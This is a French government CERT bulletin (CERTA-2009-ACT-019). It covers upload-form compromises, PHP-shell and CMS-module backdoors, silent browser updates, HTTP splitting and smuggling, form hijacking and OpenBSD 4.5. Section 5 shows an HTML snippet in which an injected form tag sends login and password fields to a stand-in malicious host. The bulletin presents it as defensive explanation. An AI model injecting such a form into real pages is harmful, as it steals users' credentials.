S.G.D.S.N
Agence nationale
de la sécurité des
systèmes d'information
Paris, le 11 mai 2009
N° CERTA-2009-ACT-019
Affaire suivie par: CERT-FR
le 11 mai 2009

Bulletin d'actualité du CERT-FR

Objet: Bulletin d’actualité 2009-19

Gestion du document

Référence CERTA-2009-ACT-019
Titre Bulletin d’actualité 2009-19
Date de la première version 11 mai 2009
Date de la dernière version 11 mai 2009
Source(s)
Pièce(s) jointe(s) Aucune(s)
Tableau 1: Gestion du document

Une gestion de version détaillée se trouve à la fin de ce document.

1 Exploitation malveillante d’un formulaire

1.1 Présentation

Cette semaine, le CERTA a participé au traitement d’un incident relatif à la compromission d’un serveur Web. Le responsable de l’un des sites Internet cohébergés sur ce serveur a développé une page permettant aux abonnés d’envoyer leurs photos pour les mettre à disposition sur l’une des pages du site. Un individu malintentionné a utilisé cette fonctionnalité pour déposer un script malveillant lui ouvrant une porte dérobée par laquelle il a ensuite introduit plusieurs contenus malveillants : filoutage, malware,…

Le CERTA rappelle que lors de la conception de tout ou partie d’un site Web la prise en compte de la sécurité est impérative. Un formulaire ou tout autre pages utilisant des données fournies par l’internaute doit faire l’objet de contrôles rigoureux avant d’utiliser le contenu envoyé (que ce soit un fichier ou une variable).

1.2 Documentation

2 Portes dérobées inhabituelles

Lorsqu’un serveur est compromis, il est traditionnel pour les attaquants de laisser au moins une porte dérobée pour leur permettre de revenir facilement sur le système. Pour les serveurs Web, ces portes dérobées se matérialisent parfois sous la forme de fichiers écrits en PHP, communément appelés phpshells. Ces derniers sont de véritables interfaces de téléadministration.

Lors du traitement d’incidents récents, le CERTA a pu constater cette tendance à la mise en place de portes dérobées sur les serveurs Web. De nos jours, bon nombre de serveurs Web s’appuient sur des gestionnaires de contenu (CMS). Ces derniers utilisent souvent des composants ou modules optionnels, parfois développés par des tiers. La gestion de ces composants est problématique : les webmestres ne connaissent pas toujours les modules installés (entre ceux mis « par défaut » par des paquetages (bundle) et ceux déposés à titre expérimental) ni leur(s) fonctionnalité(s). De plus, le suivi des vulnérabilités et la publication des correctifs pour ces composants sont variables. Les attaquants ont tiré les avantages de cette situation : désormais, lorsqu’ils compromettent un site Web, ils déposent parfois un module optionnel. Celui-ci a l’une des caractéristiques suivantes :

  • soit il permet le dépôt de fichiers (upload) ;
  • soit il contient une vulnérabilité non corrigée.

Après une intrusion, le CERTA recommande la réinstallation complète du système et des services proposés. L’expérience montre que les webmestres préfèrent généralement se contenter d’effacer les fichiers qui leur semblent suspects. Cette démarche n’intègre pas la suppression des composants ajoutés par les intrus, ce qui laisse donc des portes dérobées actives. Le CERTA recommande aux webmestres d’inventorier scrupuleusement les modules installés et de limiter l’utilisation de ces derniers à ceux réellement nécessaires (à l’instar des services sur une machine).

3 Les mises à jour silencieuses

3.1 Présentation des faits

Une étude récente a évalué l’impact des mises à jour silencieuses sur le parc des navigateurs utilisés. Il convient tout d’abord de bien définir une « mise à jour silencieuse ». Les auteurs la présente comme suit :

The user currently cannot disable auto-updates (…)

L’utilisateur n’a pas de fenêtre surgissante lui demandant de valider la procédure de mise à jour, qui est activée par défaut (et pas désactivable simplement dans l’espace de configuration).

Il est indéniable que les navigateurs présentent une surface d’attaque intéressante compte-tenu de leurs intéractions complexes et variées avec l’Internet. Leurs mises à jour est donc un élément important de la protection des postes de travail.

L’objet n’est évidemment pas ici de remettre en question cette étude ni de critiquer les résultats. En revanche, l’objet de cet article est plutôt de modérer les conclusions qui ont été reprises, sans leur contexte et un peu brutalement, sur l’Internet.

Les méthodes de mises à jour présentent chacune des avantages et des inconvénients, et il est très important de les connaître.

Il ne faut pas perdre de vue qu’une défense en profondeur passe avant tout par le contrôle des opérations effectuées. Il est également important de pouvoir garder un suivi et de pouvoir consulter les modifications effectuées. L’enjeu est donc de définir qui doit finalement gérer le système d’information.

3.2 Documentation associée

4 HTTP Splitting et HTTP Smuggling

Le protocole HTTP repose sur des séquences de mots-clefs décrivant ce que contient le flux de données. Par exemple, dans la réponse que fait un serveur on peut trouver HTTP/1.1 (la version du protocole utilisé) ou content-type : text/html (le type de données). L’interprétation de cette réponse est à la charge de celui qui reçoit (butineur ou serveur mandataire). Dans le flux de données émis par un serveur, on retrouve parfois un des arguments passés à la requête. Il est alors possible de l’utiliser pour injecter du contenu dans la réponse. Il s’agit d’un des moyens de réaliser des attaques en HTTP Splitting. Mais de quoi s’agit-il ?

4.1 HTTP Splitting

Cette méthode d’attaque repose sur le fait que la version 1.1 du protocole HTTP permet d’effectuer deux requêtes au cours d’une même session ; l’idée étant de faire retourner « deux » réponses à l’aide d’une requête unique, et cela afin que le receveur se désynchronise et attribue la seconde réponse à une autre requête. Pour obtenir une seconde réponse, il suffit de la créer artificiellement en l’injectant dans un paramètre de la requête initiale. Cette attaque peut être utilisée, par exemple, pour compromettre un serveur mandataire. Si une requête A retourne deux réponses A1 et A2, il y a des chances pour que le serveur mandataire associe A2 à la requête suivante, B. Ainsi, toutes les personnes utilisant ce serveur et envoyant une requête de type B obtiendront une réponse A2.

Alors que cette attaque vise l’altération des réponses d’un serveur, les attaques en HTTP smuggling ciblent les différents traitements possibles des requêtes sortantes.

4.2 HTTP Smuggling

Cette méthode d’attaque exploite aussi le fait que le protocole HTTP 1.1 permet d’envoyer plusieurs requêtes au sein d’une même session TCP. Alors que l’attaque en HTTP Splitting reposait sur une double réponse bien formée, l’idée est ici d’exploiter les différentes façons de traiter les requêtes qui sortent de l’ordinaire, par exemple, en contenant deux champs content-length. Elle peut permettre de contourner les équipements en coupure. Il suffit pour cela que l’équipement en ait une interprétation « valide » et que le serveur de destination la traite d’une autre manière. Comme toute méthode de détection périphérique, la vue d’ensemble de l’équipement de surveillance et l’interprétation qu’il en fait peut être différente de celle des équipements terminaux (serveurs et clients).

Ces deux attaques reposant sur des spécificités de traitement, leur expoitation reste très aléatoire et nécessite une bonne connaissance des cibles visées.

5 Le détournement de formulaire

Il existe une technique simple d’injection de code qui permet à une personne malveillante de détourner les données saisies dans un formulaire. Sur un serveur compromis hébergeant des pages HTML contenant des formulaires, l’intrus peut y injecter une balise <FORM> avant la même balise légitime afin de détourner l’action de ce dernier. Voici un exemple de code HTML permettant ceci :

<form action= »http://monsitemalveillant.tld »>
      <form action= »mapagelegtime »>
   <input type=’text’ name=’identifiant’>
   <input type=’hidden’ name=’motdepasse’>
   <input type=’submit’ value=’se connecter’>
</form>

Le simple ajout de la première balise <form> va avoir pour effet l’envoi des données vers le site http://monsitemalveillant.tld en lieu et place de la page légitime.

Afin de ne pas être victime de ce type de détournement, le CERTA recommande de contrôler régulièrement l’intégrité de tout ou partie du code des pages hébergées afin de détecter toute modification illégitime de celles-ci. Cette bonne pratique permet de détecter différentes techniques de compromission.

6 Sortie de OpenBSD 4.5

Le projet OpenBSD a sorti la nouvelle version de son système d’exploitation éponyme dans sa version 4.5. Parmi les nouveautés, on pourra noter un support accru pour les plateformes Sparc64, une amélioration de la primitive malloc garantissant une meilleur protection de certaines zones mémoire critiques lors de l’allocation ou encore l’intégration de la version 5.2 de OpenSSH.

Le projet OpenBSD ne supportant que 2 versions à la fois, la version 4.3 de OpenBSD devient donc obsolète. Si cela n’était pas déjà fait, une migration vers 4.5 doit être effectuée dans les plus brefs délais.

Rappel des avis émis

Dans la période du 04 au 10 mai 2009, le CERT-FR a émis les publications suivantes :


Gestion détaillée du document

    le 11 mai 2009
    version initiale.